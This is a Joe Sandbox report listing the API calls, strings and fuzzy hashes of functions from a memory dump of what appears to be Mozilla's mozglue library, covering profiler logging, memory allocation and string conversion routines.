API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID: QzO/
API String ID: 2745304114-117776061
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C4D4DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Strings

QzO/, xrefs: 6C4D4DF6

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: QzO/
API String ID: 713647276-117776061
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C50F440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

QzO/, xrefs: 6C50F44E
\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: QzO/$\oleacc.dll
API String ID: 2595878907-2066972354
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C53AD70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Strings

QzO/, xrefs: 6C53AD7D

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID: QzO/
API String ID: 3161513745-117776061
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51767F
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C517693
Part of subcall function 6C517670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185B2

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction ID: 26680e453d8c64d81b35c69b426c39f1c8ef96ad4c004d80c5ff37e6f3bef7e5
Opcode Fuzzy Hash: f5514833d41c268d0586c29dbe98f8664ea2fd4a283aa33cff697593116be929
Instruction Fuzzy Hash: EC216D742056019BEB24DF29CC88A5A77B5EF8430CF164829E55B83F42EB31F948CB56

Function 6C4DB7A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C4DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C4DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4DB849

Strings

QzO/, xrefs: 6C4DB7AC

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID: QzO/
API String ID: 1977084945-117776061
Opcode ID: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction ID: 26be5c8073228ef7914faf322d923ae4efae2f1e97021fc997c77c83228a3300
Opcode Fuzzy Hash: 1ceef31660933779142842c52b8052ad6a353c57018cd9783fb629aac3a9da05
Instruction Fuzzy Hash: 892130B0E002099FDF04DFA9C8959FEBBB4EF49314F158129EC05A7741E731A944CBA5

Function 6C536E50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C536E78

Part of subcall function 6C536A10: InitializeCriticalSection.KERNEL32(6C55F618), ref: 6C536A68
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536A7D
Part of subcall function 6C536A10: GetCurrentProcess.KERNEL32 ref: 6C536AA1
Part of subcall function 6C536A10: EnterCriticalSection.KERNEL32(6C55F618), ref: 6C536AAE
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536AE1
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C536B15
Part of subcall function 6C536A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C536B65
Part of subcall function 6C536A10: LeaveCriticalSection.KERNEL32(6C55F618,?,?), ref: 6C536B83

MozFormatCodeAddress.MOZGLUE ref: 6C536EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C536EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C536EFF

Strings

QzO/, xrefs: 6C536E5F

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID: QzO/
API String ID: 4058739482-117776061
Opcode ID: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction ID: 06ba941a4968cbf5ad06a6d2f821e439555bcfb823db5b79d2c1c075e74d714a
Opcode Fuzzy Hash: 4529044e0040e3b721adbae0f106f72961507b7c483dfc7e3e22475d3cd1c02e
Instruction Fuzzy Hash: DA219071A0431A9FDB00DF69DC8569A77F5FF84308F44403DE80D97241EB759A588F92

Function 6C51F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C51F598), ref: 6C51F621

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

GetCurrentThreadId.KERNEL32 ref: 6C51F637
AcquireSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F645
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8,?,?,00000000,?,6C51F598), ref: 6C51F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C51F62A

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction ID: 671ed7e3cd39fdc4488d6dc10d7ea607c067fb2f3cbdbd2bc388f8c84fdc9897
Opcode Fuzzy Hash: 46b7a2c30401f28b38c48fa7e36bc7bc4e069d207aae2f21446da2213382edd7
Instruction Fuzzy Hash: 0511E335305204EBDB04AF19DC4C9A5B7B9FFC636CB950116EA0583F42CB72AC21CBA4

Function 6C4E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

LoadLibraryW.KERNEL32(combase.dll,6C4E1C5F), ref: 6C4E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4E20CD
__Init_thread_footer.LIBCMT ref: 6C4E20E1
FreeLibrary.KERNEL32 ref: 6C4E2124

Strings

combase.dll, xrefs: 6C4E20A9
CoInitializeSecurity, xrefs: 6C4E20C7

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction ID: 724b7dcfe417fddd0408b3a881c7a3e8ff2e37171c7e054a0abc05ff653d243c
Opcode Fuzzy Hash: 421150eafbb3d46f795fd131cfc39b97a47f87ee2e7a952e874b750bb7e81382
Instruction Fuzzy Hash: 3421BB3620020AEFDF20DF58EC4CD9A3B76FB4A326F524215FA0492691DB319861CFA4

Function 6C5376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C537705

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C537717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C53778F,00000000,00000000,00000000,00000000), ref: 6C537731
free.MOZGLUE(00000000), ref: 6C537760

Strings

}>Ql, xrefs: 6C5376C4

Memory Dump Source

